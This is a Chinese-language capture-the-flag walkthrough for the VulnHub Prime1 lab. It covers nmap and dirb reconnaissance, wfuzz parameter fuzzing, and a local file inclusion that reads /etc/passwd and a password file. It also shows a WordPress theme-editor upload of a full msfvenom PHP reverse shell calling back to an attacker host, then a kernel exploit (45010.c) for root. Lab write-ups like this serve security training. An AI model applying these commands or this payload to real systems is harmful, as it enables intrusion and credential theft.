Prime1 CTF夺旗全流程

发布于:2023-01-04 ⋅ 阅读:(349) ⋅ 点赞:(0)

CTF夺旗 VulnHub-Prime1

靶场镜像地址

在没有密码的情况下进行提权获得flag
在这里插入图片描述

信息收集

扫描C段拿到靶机ip

nmap -sP 192.168.88.0/24

在这里插入图片描述
访问192.168.88.136地址,只有一张图片

在这里插入图片描述
扫描端口 根据常用端口判定服务 -A全面扫描/综合扫描

nmap -p 1-65535 -A 192.168.88.136

扫描到22和80端口 以及服务器的版本Ubuntu 4ubuntu2.8
在这里插入图片描述
目录扫描
常用工具:
dirb、dirsearch、御剑、Burp Suite、dirbuster(在kali终端输入,启动图形化界面)

普通扫描

dirb http://192.168.88.136/

搜集到的有效资产
在这里插入图片描述
http://192.168.88.136/dev

http://192.168.88.136/index.php (无用)

http://192.168.88.136/server-status (无用)

http://192.168.88.136/wordpress/

被嘲讽了说我在第0层,目前搜集到的有用信息就是使用了wordpress框架以及地址
在这里插入图片描述
指定后缀扫描

dirb http://192.168.88.136 -X .txt,.php,.zip

在这里插入图片描述
增加了资产

http://192.168.88.136/image.php (无用)

http://192.168.88.136/secret.txt

在这里插入图片描述
给了些提示,fuzz获得php页面的参数,找到location.txt会帮助找到密码

那就fuzz测试php参数

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.88.136?FUZZ

在这里插入图片描述
结果太多了根据word数量进行下过滤

wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.88.136/index.php?FUZZ

在这里插入图片描述
拿到了参数file,随便给个值验证下,说是错误的文件

在这里插入图片描述
下一步就是拿到参数具体的值,前面已经给了提示loaction.txt,验证一下果然如此

在这里插入图片描述
说我找到了正确的参数secrettier360,用这个参数在其它php页面进行更多的操作

目前已知资产里的php页面除了默认的首页index.php就只有之前没用到的image.php了

在image.php看一下这个参数是否存在文件包含漏洞,测试访问文件

在这里插入图片描述
确实存在漏洞验证了之前的判定,但这个不分行读起来很难受还得使用命令curl
接下来直奔主题看看密码

curl http://192.168.88.136/image.php?secrettier360=/etc/passwd

在众多密码中找到了一条线索

在这里插入图片描述
/home/saket/password.txt
继续访问

curl http://192.168.88.136/image.php?secrettier360=/home/saket/password.txt

在这里插入图片描述
找到密码follow_the_ippsec
不知道这个密码是哪里的,尝试登陆服务器不行密码错误

在这里插入图片描述
那应该就是wordpress里的密码了

现在只有密码,没有用户名
在这里插入图片描述
第一时间想到的是爆破用户名可能需要很久也可能很快。想想还是直接扫吧,使用wordpress扫描用户的工具有很多cmsseek、wpscan等

wpscan --url http://192.168.88.136/wordpress/ --enumerate u

找到用户信息victor

在这里插入图片描述
登录成功

在这里插入图片描述

漏洞利用

在登陆成功到wordpress后台,接下来利用它的漏洞对服务器进行控制以及提权。

因为wordpress是一个博客快捷开发框架,使用的人非常多,有很多不会编程的人只懂得一些简单的修改样式代码但并不会使用编辑器。官方因此也提供了页面编辑器功能实时修改代码。

在这里插入图片描述
那这样是不是就直接可以写入shell文件对靶机进行控制。写入木马容易被防火墙拦截决定采用反弹shell的方式。

利用msf生成反弹shell

 msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.88.132 lport=7777 -o shell.php
/*<?php /**/ error_reporting(0); $ip = '192.168.88.132'; $port = 7777; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();

再启动一个监听端口等待获取meterpreter

在这里插入图片描述
设置好参数后run

在这里插入图片描述
在编辑器中找到了一个可以写入php的入口,secret.php写入shell

在这里插入图片描述
在这里插入图片描述
接下来就需要访问触发这个shell,需要知道访问这个shell文件的地址

在之前wpscan扫描的时候已经扫到了关键信息,像readme.txt还是style.css都和这个secret.php在同一目录下

在这里插入图片描述
访问 http://192.168.88.136/wordpress/wp-content/themes/twentynineteen/secret.php

控制机触发拿到meterpreter

在这里插入图片描述

提权夺旗

在拿到meterpreter后,查看靶机信息

在这里插入图片描述
查找这个系统的漏洞信息

searchsploit 16.04 Ubuntu

选一个符合版本的本地提权脚本

在这里插入图片描述
回到一个目录,将文件45010.c拷贝下来

cp /usr/share/exploitdb/exploits/linux/local/45010.c ./ 

在这里插入图片描述
编译攻击脚本

gcc 45010.c -o 45010AK

在这里插入图片描述
接下来将这个攻击脚本上传到靶机执行,因为已经控制了靶机所以上传也十分简单

tmp目录是任何用户都有权限,所以选择上传到这里

upload /root/45010AK /tmp/45010AK

在这里插入图片描述
上传成功后准备执行脚本

进入shell

shell

给45010AK脚本权限,运行该脚本

cd /tmp
chomd +x 45010AK
./45010AK

查看角色
在这里插入图片描述
已经拿到了root权限,现在只差拿到flag

回到root目录,有个root.txt文件

在这里插入图片描述
cat一下拿到flag
在这里插入图片描述

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到